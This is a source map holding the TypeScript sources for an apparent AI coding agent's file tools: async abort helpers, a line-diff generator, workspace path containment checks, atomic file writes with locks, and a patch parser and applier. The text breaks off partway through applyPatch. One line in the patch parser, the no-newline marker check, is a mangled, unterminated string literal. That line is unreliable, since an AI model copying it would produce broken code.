{"version":3,"sources":["../src/async.ts","../src/tools/diff.ts","../src/tools/path-utils.ts","../src/tools/mutation.ts","../src/tools/patch.ts","../src/permissions.ts"],"sourcesContent":["export function throwIfAborted(signal?: AbortSignal): void {\r\n if (!signal?.aborted) return;\r\n\r\n if (signal.reason instanceof Error) throw signal.reason;\r\n throw new Error(typeof signal.reason === 'string' ? signal.reason : 'Operation cancelled');\r\n}\r\n\r\n/**\r\n * Subscribe to `signal`, returning an unsubscribe function.\r\n *\r\n * Fires immediately when the signal has already aborted, so a caller that\r\n * subscribes after an `await` cannot miss an abort that landed during it.\r\n * Handlers must be idempotent for that reason.\r\n */\r\nexport function onAbort(signal: AbortSignal | undefined, handler: () => void): () => void {\r\n if (!signal) return () => {};\r\n if (signal.aborted) {\r\n handler();\r\n return () => {};\r\n }\r\n signal.addEventListener('abort', handler, { once: true });\r\n return () => signal.removeEventListener('abort', handler);\r\n}\r\n\r\n/**\r\n * Sleep, resolving early if `signal` aborts.\r\n *\r\n * Resolves rather than throws on abort: callers use it for backoff and check the\r\n * signal themselves at the point where cancelling changes what they do next.\r\n */\r\nexport async function delay(ms: number, signal?: AbortSignal): Promise<void> {\r\n if (ms <= 0 || signal?.aborted) return;\r\n await new Promise<void>((resolve) => {\r\n const timer = setTimeout(() => {\r\n unsubscribe();\r\n resolve();\r\n }, ms);\r\n const unsubscribe = onAbort(signal, () => {\r\n clearTimeout(timer);\r\n resolve();\r\n });\r\n });\r\n}\r\n\r\n/** Yield a macrotask so terminal input, Ink rendering, timers, and aborts can run. */\r\nexport async function yieldToEventLoop(signal?: AbortSignal): Promise<void> {\r\n throwIfAborted(signal);\r\n await new Promise<void>((resolve) => setImmediate(resolve));\r\n throwIfAborted(signal);\r\n}\r\n","import { throwIfAborted, yieldToEventLoop } from '../async.js';\r\n\r\n/**\r\n * Minimal unified-diff generator for tool result output.\r\n * Produces a CC-style snippet: a few context lines around each hunk with\r\n * `-`/`+` markers. Good enough for ToolCallBlock rendering; not a full diff3.\r\n */\r\n\r\nfunction splitLines(s: string): string[] {\r\n // Preserve a trailing empty line so edits at EOF render correctly.\r\n const lines = s.split('\\n');\r\n if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();\r\n return lines;\r\n}\r\n\r\nexport interface DiffHunk {\r\n oldStart: number;\r\n newStart: number;\r\n lines: Array<{ kind: 'ctx' | 'add' | 'del'; text: string }>;\r\n}\r\n\r\nexport interface DiffStats {\r\n addedLines: number;\r\n removedLines: number;\r\n}\r\n\r\ninterface DiffOp {\r\n kind: 'ctx' | 'add' | 'del';\r\n text: string;\r\n ai: number;\r\n bi: number;\r\n}\r\n\r\nconst DIFF_YIELD_CELLS = 32_768;\r\nconst DIFF_YIELD_ITEMS = 1_024;\r\n\r\n/**\r\n * Lines shared at both ends of the two inputs.\r\n *\r\n * The LCS table below is O(n·m) in time and memory, and almost every real\r\n * edit changes a few lines of a file that is otherwise identical on both\r\n * sides. Trimming the shared prefix and suffix first turns a one-line edit\r\n * in a twenty-thousand-line file from a 400M-cell table into a handful.\r\n */\r\nfunction commonAffixes(a: string[], b: string[]): { prefix: number; suffix: number } {\r\n const max = Math.min(a.length, b.length);\r\n let prefix = 0;\r\n while (prefix < max && a[prefix] === b[prefix]) prefix++;\r\n let suffix = 0;\r\n while (suffix < max - prefix && a[a.length - 1 - suffix] === b[b.length - 1 - suffix]) suffix++;\r\n return { prefix, suffix };\r\n}\r\n\r\nfunction contextOps(a: string[], from: number, count: number, bOffset: number): DiffOp[] {\r\n const ops: DiffOp[] = [];\r\n for (let index = 0; index < count; index++) {\r\n const ai = from + index;\r\n ops.push({ kind: 'ctx', text: a[ai], ai, bi: ai + bOffset });\r\n }\r\n return ops;\r\n}\r\n\r\n/** Walk a filled LCS table into an edit script, offset into the full inputs. */\r\nfunction editScript(\r\n a: string[],\r\n b: string[],\r\n dp: ArrayLike<ArrayLike<number>>,\r\n offset: number,\r\n): DiffOp[] {\r\n const n = a.length;\r\n const m = b.length;\r\n const ops: DiffOp[] = [];\r\n let i = 0;\r\n let j = 0;\r\n while (i < n && j < m) {\r\n if (a[i] === b[j]) {\r\n ops.push({ kind: 'ctx', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n j++;\r\n } else if (dp[i + 1][j] >= dp[i][j + 1]) {\r\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n } else {\r\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\r\n j++;\r\n }\r\n }\r\n while (i < n) {\r\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\r\n i++;\r\n }\r\n while (j < m) {\r\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\r\n j++;\r\n }\r\n return ops;\r\n}\r\n\r\n/** Group consecutive non-context ops into hunks, padded by `context` ctx lines. */\r\nfunction hunkBounds(ops: DiffOp[], context: number): Array<[number, number]> {\r\n const bounds: Array<[number, number]> = [];\r\n let k = 0;\r\n while (k < ops.length) {\r\n if (ops[k].kind === 'ctx') {\r\n k++;\r\n continue;\r\n }\r\n const start = k;\r\n // Walk back context.\r\n let ctxBefore = 0;\r\n let s = start - 1;\r\n while (s >= 0 && ops[s].kind === 'ctx' && ctxBefore < context) {\r\n s--;\r\n ctxBefore++;\r\n }\r\n // Walk forward through all consecutive non-context ops, then context after.\r\n let e = start;\r\n while (e < ops.length && ops[e].kind !== 'ctx') e++;\r\n let ctxAfter = 0;\r\n while (e < ops.length && ops[e].kind === 'ctx' && ctxAfter < context) {\r\n e++;\r\n ctxAfter++;\r\n }\r\n bounds.push([s + 1, e]);\r\n k = e;\r\n }\r\n return bounds;\r\n}\r\n\r\nfunction hunkFrom(ops: DiffOp[], start: number, end: number): DiffHunk {\r\n const hunkOps = ops.slice(start, end);\r\n return {\r\n oldStart: (hunkOps[0]?.ai ?? 0) + 1,\r\n newStart: (hunkOps[0]?.bi ?? 0) + 1,\r\n lines: hunkOps.map((o) => ({ kind: o.kind, text: o.text })),\r\n };\r\n}\r\n\r\n/** Compute a line-level diff between two strings. Returns hunks with context. */\r\nexport function lineDiff(oldText: string, newText: string, context = 3): DiffHunk[] {\r\n const a = splitLines(oldText);\r\n const b = splitLines(newText);\r\n const { prefix, suffix } = commonAffixes(a, b);\r\n const midA = a.slice(prefix, a.length - suffix);\r\n const midB = b.slice(prefix, b.length - suffix);\r\n\r\n // LCS-based edit script over the changed span only.\r\n const n = midA.length;\r\n const m = midB.length;\r\n const dp: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0));\r\n for (let i = n - 1; i >= 0; i--) {\r\n for (let j = m - 1; j >= 0; j--) {\r\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\r\n }\r\n }\r\n\r\n const ops = [\r\n ...contextOps(a, 0, prefix, 0),\r\n ...editScript(midA, midB, dp, prefix),\r\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\r\n ];\r\n return hunkBounds(ops, context).map(([start, end]) => hunkFrom(ops, start, end));\r\n}\r\n\r\n/** Cooperative variant used by agent tools so large diffs do not block Ink. */\r\nexport async function lineDiffAsync(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n signal?: AbortSignal,\r\n): Promise<DiffHunk[]> {\r\n const a = splitLines(oldText);\r\n const b = splitLines(newText);\r\n const { prefix, suffix } = commonAffixes(a, b);\r\n const midA = a.slice(prefix, a.length - suffix);\r\n const midB = b.slice(prefix, b.length - suffix);\r\n const n = midA.length;\r\n const m = midB.length;\r\n const dp: number[][] = [];\r\n\r\n for (let row = 0; row <= n; row++) {\r\n dp.push(new Array<number>(m + 1).fill(0));\r\n if (row > 0 && row % 128 === 0) await yieldToEventLoop(signal);\r\n }\r\n\r\n let cellsUntilYield = DIFF_YIELD_CELLS;\r\n for (let i = n - 1; i >= 0; i--) {\r\n for (let j = m - 1; j >= 0; j--) {\r\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\r\n cellsUntilYield--;\r\n if (cellsUntilYield === 0) {\r\n cellsUntilYield = DIFF_YIELD_CELLS;\r\n await yieldToEventLoop(signal);\r\n }\r\n }\r\n }\r\n\r\n throwIfAborted(signal);\r\n const ops = [\r\n ...contextOps(a, 0, prefix, 0),\r\n ...editScript(midA, midB, dp, prefix),\r\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\r\n ];\r\n if (ops.length > DIFF_YIELD_ITEMS) await yieldToEventLoop(signal);\r\n\r\n const hunks: DiffHunk[] = [];\r\n for (const [start, end] of hunkBounds(ops, context)) {\r\n hunks.push(hunkFrom(ops, start, end));\r\n await yieldToEventLoop(signal);\r\n }\r\n\r\n throwIfAborted(signal);\r\n return hunks;\r\n}\r\n\r\nexport function diffStatsFromHunks(hunks: DiffHunk[]): DiffStats {\r\n let addedLines = 0;\r\n let removedLines = 0;\r\n for (const hunk of hunks) {\r\n for (const line of hunk.lines) {\r\n if (line.kind === 'add') addedLines++;\r\n if (line.kind === 'del') removedLines++;\r\n }\r\n }\r\n return { addedLines, removedLines };\r\n}\r\n\r\nexport function renderDiffWithStats(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n): { diff: string; stats: DiffStats } {\r\n const hunks = lineDiff(oldText, newText, context);\r\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\r\n const out: string[] = [];\r\n for (const h of hunks) {\r\n out.push(`@@ -${h.oldStart} +${h.newStart} @@`);\r\n for (const l of h.lines) {\r\n const prefix = l.kind === 'add' ? '+' : l.kind === 'del' ? '-' : ' ';\r\n out.push(prefix + l.text);\r\n }\r\n }\r\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\r\n}\r\n\r\nexport async function renderDiffWithStatsAsync(\r\n oldText: string,\r\n newText: string,\r\n context = 3,\r\n signal?: AbortSignal,\r\n): Promise<{ diff: string; stats: DiffStats }> {\r\n const hunks = await lineDiffAsync(oldText, newText, context, signal);\r\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\r\n\r\n const out: string[] = [];\r\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\r\n const hunk = hunks[hunkIndex];\r\n out.push(`@@ -${hunk.oldStart} +${hunk.newStart} @@`);\r\n for (let lineIndex = 0; lineIndex < hunk.lines.length; lineIndex++) {\r\n const line = hunk.lines[lineIndex];\r\n const prefix = line.kind === 'add' ? '+' : line.kind === 'del' ? '-' : ' ';\r\n out.push(prefix + line.text);\r\n if (lineIndex > 0 && lineIndex % DIFF_YIELD_ITEMS === 0) await yieldToEventLoop(signal);\r\n }\r\n if (hunkIndex > 0 && hunkIndex % 64 === 0) await yieldToEventLoop(signal);\r\n }\r\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\r\n}\r\n\r\n/** Render a unified diff string. */\r\nexport function renderDiff(oldText: string, newText: string, context = 3): string {\r\n return renderDiffWithStats(oldText, newText, context).diff;\r\n}\r\n","import { existsSync, realpathSync } from 'fs';\r\nimport { dirname, isAbsolute, relative, resolve, sep } from 'path';\r\nimport type { ToolResult } from '../types/tools.js';\r\nimport { toolFailure } from './result.js';\r\n\r\nfunction isOutside(root: string, candidate: string): boolean {\r\n const rel = relative(root, candidate);\r\n return rel === '..' || rel.startsWith(`..${sep}`) || isAbsolute(rel);\r\n}\r\n\r\nfunction nearestExistingPath(inputPath: string): string | null {\r\n let candidate = inputPath;\r\n while (!existsSync(candidate)) {\r\n const parent = dirname(candidate);\r\n if (parent === candidate) return null;\r\n candidate = parent;\r\n }\r\n return candidate;\r\n}\r\n\r\nexport function resolveWorkspacePath(\r\n workspaceRoot: string,\r\n inputPath: string,\r\n): { filePath: string; canonicalPath: string; relativePath: string } | null {\r\n const lexicalRoot = resolve(workspaceRoot);\r\n const filePath = resolve(isAbsolute(inputPath) ? inputPath : resolve(lexicalRoot, inputPath));\r\n if (isOutside(lexicalRoot, filePath)) return null;\r\n\r\n const existingPath = nearestExistingPath(filePath);\r\n if (!existingPath) return null;\r\n\r\n let realRoot: string;\r\n let realExisting: string;\r\n try {\r\n realRoot = realpathSync.native(lexicalRoot);\r\n realExisting = realpathSync.native(existingPath);\r\n } catch {\r\n return null;\r\n }\r\n if (isOutside(realRoot, realExisting)) return null;\r\n\r\n const canonicalPath = resolve(realExisting, relative(existingPath, filePath));\r\n if (isOutside(realRoot, canonicalPath)) return null;\r\n\r\n const rel = relative(lexicalRoot, filePath);\r\n return { filePath, canonicalPath, relativePath: rel.replace(/\\\\/g, '/') };\r\n}\r\n\r\nexport function pathOutsideWorkspaceResult(inputPath: unknown): ToolResult {\r\n return toolFailure(`Path outside workspace: ${inputPath}`, {\r\n code: 'path_outside_workspace',\r\n });\r\n}\r\n","import { randomUUID } from 'node:crypto';\r\nimport { mkdir, readFile, rename, rm, stat, writeFile } from 'node:fs/promises';\r\nimport { dirname } from 'node:path';\r\nimport { throwIfAborted } from '../async.js';\r\n\r\nexport type LineEnding = 'lf' | 'crlf';\r\n\r\nexport interface TextSnapshot {\r\n exists: boolean;\r\n bytes: Buffer;\r\n text: string;\r\n bom: boolean;\r\n lineEnding: LineEnding;\r\n mixedLineEndings: boolean;\r\n binary: boolean;\r\n mode?: number;\r\n}\r\n\r\nconst pathLocks = new Map<string, Promise<void>>();\r\n\r\nfunction looksBinary(bytes: Buffer): boolean {\r\n const sample = bytes.subarray(0, 8192);\r\n if (sample.includes(0)) return true;\r\n let controls = 0;\r\n for (const byte of sample) {\r\n if (byte < 7 || (byte > 13 && byte < 32)) controls++;\r\n }\r\n return sample.length > 0 && controls / sample.length > 0.1;\r\n}\r\n\r\nexport async function readTextSnapshot(\r\n filePath: string,\r\n allowMissing = false,\r\n): Promise<TextSnapshot> {\r\n let bytes: Buffer;\r\n try {\r\n bytes = await readFile(filePath);\r\n } catch (error) {\r\n if (allowMissing && (error as NodeJS.ErrnoException).code === 'ENOENT') {\r\n return {\r\n exists: false,\r\n bytes: Buffer.alloc(0),\r\n text: '',\r\n bom: false,\r\n lineEnding: 'lf',\r\n mixedLineEndings: false,\r\n binary: false,\r\n mode: undefined,\r\n };\r\n }\r\n throw error;\r\n }\r\n const bom = bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf;\r\n const body = bytes.subarray(bom ? 3 : 0);\r\n let binary = looksBinary(bytes);\r\n let decoded: string;\r\n try {\r\n decoded = new TextDecoder('utf-8', { fatal: true }).decode(body);\r\n } catch {\r\n binary = true;\r\n decoded = body.toString('utf8');\r\n }\r\n const crlfCount = (decoded.match(/\\r\\n/g) ?? []).length;\r\n const bareLfCount = (decoded.replace(/\\r\\n/g, '').match(/\\n/g) ?? []).length;\r\n const bareCrCount = (decoded.replace(/\\r\\n/g, '').match(/\\r/g) ?? []).length;\r\n const mixedLineEndings = (crlfCount > 0 && bareLfCount > 0) || bareCrCount > 0;\r\n const mode = (await stat(filePath)).mode & 0o777;\r\n return {\r\n exists: true,\r\n bytes,\r\n text: decoded.replace(/\\r\\n/g, '\\n'),\r\n bom,\r\n lineEnding: crlfCount > bareLfCount ? 'crlf' : 'lf',\r\n mixedLineEndings,\r\n binary,\r\n mode,\r\n };\r\n}\r\n\r\nexport function restoreTextEncoding(\r\n text: string,\r\n snapshot: Pick<TextSnapshot, 'bom' | 'lineEnding'>,\r\n): Buffer {\r\n const body = snapshot.lineEnding === 'crlf' ? text.replace(/\\n/g, '\\r\\n') : text;\r\n return Buffer.from(`${snapshot.bom ? '\\ufeff' : ''}${body}`, 'utf8');\r\n}\r\n\r\nexport async function writeFileAtomically(\r\n filePath: string,\r\n bytes: Uint8Array,\r\n signal?: AbortSignal,\r\n mode?: number,\r\n): Promise<void> {\r\n throwIfAborted(signal);\r\n await mkdir(dirname(filePath), { recursive: true });\r\n const temporary = `${filePath}.book-tmp-${randomUUID()}`;\r\n try {\r\n await writeFile(temporary, bytes, { flag: 'wx', mode });\r\n throwIfAborted(signal);\r\n await rename(temporary, filePath);\r\n } finally {\r\n await rm(temporary, { force: true }).catch(() => undefined);\r\n }\r\n}\r\n\r\nexport async function removeFileAtomically(filePath: string, signal?: AbortSignal): Promise<void> {\r\n throwIfAborted(signal);\r\n await rm(filePath, { force: false });\r\n}\r\n\r\nasync function acquirePath(path: string): Promise<() => void> {\r\n const previous = pathLocks.get(path) ?? Promise.resolve();\r\n let release!: () => void;\r\n const current = new Promise<void>((resolve) => {\r\n release = resolve;\r\n });\r\n const queued = previous.then(() => current);\r\n pathLocks.set(path, queued);\r\n await previous;\r\n return () => {\r\n release();\r\n if (pathLocks.get(path) === queued) pathLocks.delete(path);\r\n };\r\n}\r\n\r\n/** Serialize mutation validation and commit for each path, in stable order. */\r\nexport async function withMutationLocks<T>(\r\n paths: string[],\r\n operation: () => Promise<T>,\r\n): Promise<T> {\r\n const releases: Array<() => void> = [];\r\n try {\r\n for (const path of [...new Set(paths)].sort()) releases.push(await acquirePath(path));\r\n return await operation();\r\n } finally {\r\n for (const release of releases.reverse()) release();\r\n }\r\n}\r\n","import type {\r\n ToolContext,\r\n ToolDefinition,\r\n ToolResult,\r\n FileMutationSummary,\r\n} from '../types/tools.js';\r\nimport { throwIfAborted } from '../async.js';\r\nimport { renderDiffWithStatsAsync } from './diff.js';\r\nimport { observeFile, requireFreshObservation } from './file-provenance.js';\r\nimport { pathOutsideWorkspaceResult, resolveWorkspacePath } from './path-utils.js';\r\nimport { toolFailure, toolSuccess } from './result.js';\r\nimport {\r\n readTextSnapshot,\r\n removeFileAtomically,\r\n restoreTextEncoding,\r\n withMutationLocks,\r\n writeFileAtomically,\r\n type TextSnapshot,\r\n} from './mutation.js';\r\n\r\nconst MAX_PATCH_BYTES = 1024 * 1024;\r\nconst MAX_FILES = 100;\r\nconst MAX_HUNKS = 1000;\r\n\r\nexport type PatchOperation =\r\n | { kind: 'update'; path: string; hunks: PatchHunk[] }\r\n | { kind: 'add'; path: string; lines: string[] }\r\n | { kind: 'delete'; path: string };\r\n\r\nexport interface PatchHunk {\r\n header: string;\r\n oldStart?: number;\r\n lines: Array<{\r\n kind: 'context' | 'remove' | 'add';\r\n text: string;\r\n noNewline?: boolean;\r\n }>;\r\n}\r\n\r\ninterface StagedFile {\r\n operation: PatchOperation;\r\n absolutePath: string;\r\n writePath: string;\r\n relativePath: string;\r\n before: TextSnapshot;\r\n afterBytes?: Buffer;\r\n afterText?: string;\r\n mutation: FileMutationSummary;\r\n}\r\n\r\nexport interface ParsedPatch {\r\n operations: PatchOperation[];\r\n bytes: number;\r\n}\r\n\r\nfunction invalid(message: string, details?: Record<string, unknown>): ToolResult {\r\n return toolFailure(message, {\r\n code: 'invalid_patch_syntax',\r\n remediation: 'Regenerate a Codex-style patch with Begin/End markers and valid file hunks.',\r\n details,\r\n });\r\n}\r\n\r\nfunction parseHunkHeader(line: string): { oldStart?: number } {\r\n const match = line.match(/^@@(?: -(\\d+)(?:,(\\d+))?)?(?: \\+(\\d+)(?:,(\\d+))?)?(?: @@.*)?$/);\r\n if (!match) throw new Error(`Invalid hunk header: ${line}`);\r\n return { oldStart: match[1] ? Number(match[1]) : undefined };\r\n}\r\n\r\nfunction parsePatchUnsafe(patch: unknown): ParsedPatch | ToolResult {\r\n if (typeof patch !== 'string' || patch.length === 0)\r\n return invalid('patch must be a non-empty string');\r\n const bytes = Buffer.byteLength(patch, 'utf8');\r\n if (bytes > MAX_PATCH_BYTES)\r\n return toolFailure(`Patch input exceeds ${MAX_PATCH_BYTES} bytes`, {\r\n code: 'patch_limit_exceeded',\r\n remediation: 'Split the change into smaller patches.',\r\n details: { limit: MAX_PATCH_BYTES, bytes },\r\n });\r\n const lines = patch.replace(/\\r\\n/g, '\\n').split('\\n');\r\n if (lines.at(-1) === '') lines.pop();\r\n if (lines[0] !== '*** Begin Patch' || lines.at(-1) !== '*** End Patch')\r\n return invalid('Patch must start with *** Begin Patch and end with *** End Patch');\r\n\r\n const operations: PatchOperation[] = [];\r\n let index = 1;\r\n let hunkCount = 0;\r\n while (index < lines.length - 1) {\r\n const marker = lines[index];\r\n const update = marker.match(/^\\*\\*\\* Update File: (.+)$/);\r\n const add = marker.match(/^\\*\\*\\* Add File: (.+)$/);\r\n const del = marker.match(/^\\*\\*\\* Delete File: (.+)$/);\r\n if (update) {\r\n const hunks: PatchHunk[] = [];\r\n index++;\r\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\r\n if (!lines[index].startsWith('@@'))\r\n throw new Error(`Expected @@ hunk header near line ${index + 1}`);\r\n const header = lines[index];\r\n const parsedHeader = parseHunkHeader(header);\r\n index++;\r\n const hunkLines: PatchHunk['lines'] = [];\r\n while (\r\n index < lines.length - 1 &&\r\n !lines[index].startsWith('@@') &&\r\n !lines[index].startsWith('*** ')\r\n ) {\r\n const line = lines[index++];\r\n if (line === '\\\') {\r\n const previous = hunkLines.at(-1);\r\n if (!previous)\r\n throw new Error(`No-newline marker has no preceding hunk line near line ${index}`);\r\n previous.noNewline = true;\r\n continue;\r\n }\r\n if (line.startsWith(' ')) hunkLines.push({ kind: 'context', text: line.slice(1) });\r\n else if (line.startsWith('-')) hunkLines.push({ kind: 'remove', text: line.slice(1) });\r\n else if (line.startsWith('+')) hunkLines.push({ kind: 'add', text: line.slice(1) });\r\n else throw new Error(`Invalid hunk line near line ${index}`);\r\n }\r\n if (hunkLines.length === 0) throw new Error(`Empty hunk near line ${index}`);\r\n if (!hunkLines.some((line) => line.kind !== 'add'))\r\n throw new Error(`Update hunk must contain context or removed lines near line ${index}`);\r\n hunks.push({ header, oldStart: parsedHeader.oldStart, lines: hunkLines });\r\n hunkCount++;\r\n }\r\n if (hunks.length === 0) throw new Error(`Update File ${update[1]} has no hunks`);\r\n operations.push({ kind: 'update', path: update[1].trim(), hunks });\r\n continue;\r\n }\r\n if (add) {\r\n index++;\r\n const content: string[] = [];\r\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\r\n const line = lines[index++];\r\n if (!line.startsWith('+'))\r\n throw new Error(`Added file lines must begin with + near line ${index}`);\r\n content.push(line.slice(1));\r\n }\r\n operations.push({ kind: 'add', path: add[1].trim(), lines: content });\r\n continue;\r\n }\r\n if (del) {\r\n index++;\r\n if (index < lines.length - 1 && !lines[index].startsWith('*** '))\r\n throw new Error(`Delete File ${del[1]} cannot contain patch lines`);\r\n operations.push({ kind: 'delete', path: del[1].trim() });\r\n continue;\r\n }\r\n throw new Error(`Expected a file operation near line ${index + 1}`);\r\n }\r\n if (operations.length === 0) return invalid('Patch contains no file operations');\r\n if (operations.length > MAX_FILES || hunkCount > MAX_HUNKS)\r\n return toolFailure(`Patch exceeds limits (${MAX_FILES} files, ${MAX_HUNKS} hunks)`, {\r\n code: 'patch_limit_exceeded',\r\n remediation: 'Split the change into smaller patches.',\r\n details: { files: operations.length, hunks: hunkCount },\r\n });\r\n return { operations, bytes };\r\n}\r\n\r\nexport function parsePatch(patch: unknown): ParsedPatch | ToolResult {\r\n try {\r\n return parsePatchUnsafe(patch);\r\n } catch (error) {\r\n return invalid(error instanceof Error ? error.message : String(error));\r\n }\r\n}\r\n\r\nfunction linesOf(text: string): string[] {\r\n const lines = text.split('\\n');\r\n if (lines.at(-1) === '') lines.pop();\r\n return lines;\r\n}\r\n\r\nfunction findUniqueSequence(\r\n haystack: string[],\r\n needle: string[],\r\n): { index: number; count: number } {\r\n if (needle.length === 0) return { index: 0, count: 0 };\r\n let index = -1;\r\n let count = 0;\r\n for (let start = 0; start <= haystack.length - needle.length; start++) {\r\n if (needle.every((line, offset) => haystack[start + offset] === line)) {\r\n index = start;\r\n count++;\r\n }\r\n }\r\n return { index, count };\r\n}\r\n\r\nfunction candidateLine(haystack: string[], line: string): number | undefined {\r\n const matches = haystack.reduce<number[]>((found, value, index) => {\r\n if (value === line) found.push(index + 1);\r\n return found;\r\n }, []);\r\n return matches.length === 1 ? matches[0] : undefined;\r\n}\r\n\r\nexport function applyHunks(\r\n text: string,\r\n hunks: PatchHunk[],\r\n): { text: string; mismatch?: ToolResult } {\r\n let lines = linesOf(text);\r\n let trailingNewline = text.endsWith('\\n');\r\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\r\n const hunk = hunks[hunkIndex];\r\n const oldLines = hunk.lines.filter((line) => line.kind !== 'add').map((line) => line.text);\r\n const newLines = hunk.lines.filter((line) => line.kind !== 'remove').map((line) => line.text);\r\n const match = findUniqueSequence(lines, oldLines);\r\n if (match.count === 0)\r\n return {\r\n text,\r\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context not found`, {\r\n code: 'patch_context_not_found',\r\n remediation:\r\n 'Reread the affected range and regenerate the hunk against the latest file contents.',\r\n details: {\r\n hunkIndex: hunkIndex + 1,\r\n header: hunk.header,\r\n firstContextLine: oldLines[0]?.slice(0, 200),\r\n closestCandidateLine: oldLines[0] ? candidateLine(lines, oldLines[0]) : undefined,\r\n suggestedReadRange:\r\n hunk.oldStart !== undefined\r\n ? {\r\n lineStart: Math.max(1, hunk.oldStart - 3),\r\n lineEnd: hunk.oldStart + oldLines.length + 3,\r\n }\r\n : undefined,\r\n },\r\n }),\r\n };\r\n if (match.count > 1)\r\n return {\r\n text,\r\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context is ambiguous`, {\r\n code: 'ambiguous_patch_context',\r\n remediation: 'Reread a narrower range and include more exact context lines.',\r\n details: { hunkIndex: hunkIndex + 1, header: hunk.header, matches: match.count },\r\n }),\r\n };\r\n const touchesEndOfFile = match.index + oldLines.length === lines.length;\r\n lines = [\r\n ...lines.slice(0, match.index),\r\n ...newLines,\r\n ...lines.slice(match.index + oldLines.length),\r\n ];\r\n if (touchesEndOfFile) {\r\n const oldNoNewline = hunk.lines.some((line) => line.kind !== 'add' && line.noNewline);\r\n const newNoNewline = hunk.lines.some((line) => line.kind !== 'remove' && line.noNewline);\r\n if (newNoNewline) trailingNewline = false;\r\n else if (oldNoNewline) trailingNewline = true;\r\n }\r\n }\r\n return { text: lines.join('\\n') + (trailingNewline && lines.length > 0 ? '\\n' : '') };\r\n}\r\n\r\nfunction mutationFromDiff(\r\n relativePath: string,\r\n kind: FileMutationSummary['kind'],\r\n stats: { addedLines: number; removedLines: number },\r\n): FileMutationSummary {\r\n return {\r\n kind,\r\n filePath: relativePath,\r\n addedLines: stats.addedLines,\r\n removedLines: stats.removedLines,\r\n };\r\n}\r\n\r\nfunction errorCodeFor(error: unknown): string {\r\n return error instanceof Error && error.message.includes('changed or disappeared')\r\n ? 'stale_file_observation'\r\n : 'filesystem_error';\r\n}\r\n\r\nasync function applyPatch(args: Record<string, unknown>, ctx: ToolContext): Promise<ToolResult> {\r\n const parsed = parsePatch(args.patch);\r\n if (!('operations' in parsed)) return parsed;\r\n const paths = parsed.operations.map((operation) => operation.path);\r\n const resolved = parsed.operations.map((operation) => {\r\n const result = resolveWorkspacePath(ctx.workspaceRoot, operation.path);\r\n return result ? { operation, ...result } : null;\r\n });\r\n if (resolved.some((entry) => !entry))\r\n return pathOutsideWorkspaceResult(paths[resolved.findIndex((entry) => !entry)]);\r\n const entries = resolved as Array<{\r\n operation: PatchOperation;\r\n filePath: string;\r\n canonicalPath: string;\r\n relativePath: string;\r\n }>;\r\n const canonicalKeys = entries.map((entry) =>\r\n process.platform === 'win32' ? entry.canonicalPath.toLowerCase() : entry.canonicalPath,\r\n );\r\n if (new Set(canonicalKeys).size !== canonicalKeys.length)\r\n return toolFailure('A patch may contain only one operation per file', {\r\n code: 'patch_conflict',\r\n remediation: 'Combine related updates into one file operation with multiple hunks.',\r\n });\r\n\r\n return withMutationLocks(\r\n entries.map((entry) => entry.canonicalPath),\r\n async () => {\r\n const staged: StagedFile[] = [];\r\n try {\r\n for (const entry of entries) {\r\n throwIfAborted(ctx.signal);\r\n const before = await readTextSnapshot(entry.filePath, entry.operation.kind === 'add');\r\n if (before.binary)\r\n return toolFailure(`Binary file is unsupported: ${entry.relativePath}`, {\r\n code: 'binary_file_unsupported',\r\n remediation: 'Use a text file mutation or a dedicated binary workflow.',\r\n });\r\n if (before.mixedLineEndings && entry.operation.kind === 'update')\r\n return toolFailure(\r\n `Mixed line endings are unsupported for patch updates: ${entry.relativePath}`,\r\n {\r\n code: 'patch_conflict',\r\n remediation:\r\n 'Normalize the file line endings, reread it, and regenerate the patch.',\r\n details: { filePath: entry.relativePath, lineEnding: 'mixed' },\r\n },\r\n );\r\n const stale =\r\n entry.operation.kind === 'add'\r\n ? undefined\r\n : await requireFreshObservation(ctx, entry.filePath, entry.relativePath);\r\n if (stale)\r\n return toolFailure(stale, {\r\n code: 'stale_file_observation',\r\n remediation: 'Call Read before regenerating the patch.',\r\n });\r\n if (entry.operation.kind === 'add') {\r\n if (before.exists)\r\n return toolFailure(`File already exists: ${entry.relativePath}`, {\r\n code: 'patch_conflict',\r\n remediation: 'Use Update File for an existing file.',\r\n });\r\n const afterText =\r\n entry.operation.lines.join('\\n') + (entry.operation.lines.length > 0 ? '\\n' : '');\r\n const { stats } = await renderDiffWithStatsAsync('', afterText, 3, ctx.signal);\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.canonicalPath,\r\n relativePath: entry.relativePath,\r\n before,\r\n afterText,\r\n afterBytes: Buffer.from(afterText, 'utf8'),\r\n mutation: mutationFromDiff(entry.relativePath, 'create', stats),\r\n });\r\n } else if (entry.operation.kind === 'delete') {\r\n if (!before.exists)\r\n return toolFailure(`File not found: ${entry.relativePath}`, {\r\n code: 